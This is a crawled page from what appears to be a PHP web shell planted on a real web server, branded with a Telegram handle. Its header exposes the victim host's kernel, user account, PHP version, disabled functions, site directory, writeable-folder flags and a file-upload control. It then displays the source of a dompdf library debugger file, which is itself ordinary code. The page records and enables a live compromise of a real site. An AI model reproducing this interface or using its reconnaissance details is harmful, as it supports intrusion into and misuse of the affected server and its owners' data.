https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/mesinpolesshinemate.com/application/third_party/dompdf/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mesinpolesshinemate.com/application/third_party/dompdf/www/debugger.php
<?php 
$files = glob("test/*.{html,htm,php}", GLOB_BRACE);
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <title>dompdf debugger</title>
  <script type="text/javascript" src="jquery-1.4.2.js"></script>
	
	<script type="text/javascript">
		function updateAddress(){
			var addressbar = $('#addressbar'),
			    preview = $('#preview'),
          preview_html = $('#preview_html'),
          address = encodeURI(addressbar.val()),
          addressHTML = address,
          addressPDF = address,
          basePath = "";

      if ( !/[a-z]+:\/\//.test(address) ) {
        addressHTML = "test/"+address+"?"+(new Date).getTime();
        basePath = "www/test/";
      }

      // HTML file
      preview_html.attr("src", "about:blank");
      preview_html.attr("src", addressHTML);

			// PDF file
      preview.attr("src", "about:blank");

      setTimeout(function(){
        address = "../dompdf.php?base_path="+basePath+"&options[Attachment]=0&input_file="+addressPDF+"#toolbar=0&view=FitH&statusbar=0&messages=0&navpanes=0";
  			preview.attr('src', address);
      }, 0.1);
		}
		
		function log(str){
			var console = $("#console");
			str = str || "(nothing)";
			console.html(console.html() + str + "<hr />");
			console.scrollTop(console[0].scrollHeight);
		}
    
    function resizePage(){
      var page = $("#page");
      var height = $(window).height() - page.offset().top - 40;
      $("iframe, #console").height(height);
    }

    function navigateExamples(way) {
      var select = $('#examples')[0],
          n = select.options.length;

      if (way == "previous")
        select.selectedIndex = (select.selectedIndex - 1) % n;
      else
        select.selectedIndex = (select.selectedIndex + 1) % n;

      $('#addressbar').val($("#examples").val());
      updateAddress();
    }

    $(function(){
      resizePage();
      $(window).resize(resizePage);
		
      $('#preview').load(function(){
			  if (this.src == "about:blank") return;
				
				$.ajax({
				  url: '../lib/fonts/log.htm',
				  success: log
				});
      });

      $('#addressbar').val($("#examples").val());
      
      // Catch F5 to reload the iframes, not the page itself
      $(document).keydown(function(event) {
        if (event.which == 116) {
          event.preventDefault();
          updateAddress();
        }
      });
		});
	</script>
	
	<style type="text/css">
		html, body {
			margin: 0;
			padding: 0;
		}
		
		td {
      padding: 0;
		}
		
		#page {
			width: 100%;
			border: none;
      border-spacing: 0;
      border-collapse: collapse;
		}
    
    iframe {
      width: 100%;
    }
		
		#output td {
			border: 1px solid #999;
		}
    
    #console-container {
      vertical-align: top;
    }
		
		#console {
      background: #eee; 
			overflow: scroll; 
      padding: 4px;
		}
		
		#console pre {
			margin: 2px 0;
		}
    
    #console, #console pre {
      font-size: 11px; 
      font-family: Courier, "Courier new", monospace;
      white-space: pre-wrap;
    }
	</style>
</head>

<body>

<table id="page">
  <tr>
    <td colspan="3">
      <button onclick="$('#console').html('')" style="float: right;">Reset</button>
      
      <button onclick="navigateExamples('previous')">&lt;</button>
			<select onchange="$('#addressbar').val($(this).val()); updateAddress()" id="examples">
				<?php foreach($files as $file) { ?>
				  <option value="<?php echo basename($file); ?>"><?php echo basename($file); ?></option>
			  <?php } ?>
		  </select>
      <button onclick="navigateExamples('next')">&gt;</button>
      
      <input id="addressbar" type="text" size="100" value="" />
			<button onclick="updateAddress()">Go</button>
    </td>
  </tr>
	<tr id="output">
    <td style="width: 40%;">
      <iframe id="preview_html" name="preview_html" src="about:blank" frameborder="0" marginheight="0" marginwidth="0"></iframe>
    </td>
    <td style="width: 40%;">
      <iframe id="preview" name="preview" src="about:blank" frameborder="0" marginheight="0" marginwidth="0"></iframe>
    </td>
    <td style="min-width: 400px; width: 20%;" id="console-container">
		  <div id="console"></div>
		</td>
	</tr>
</table>

https://t.me/RX1948 - 2025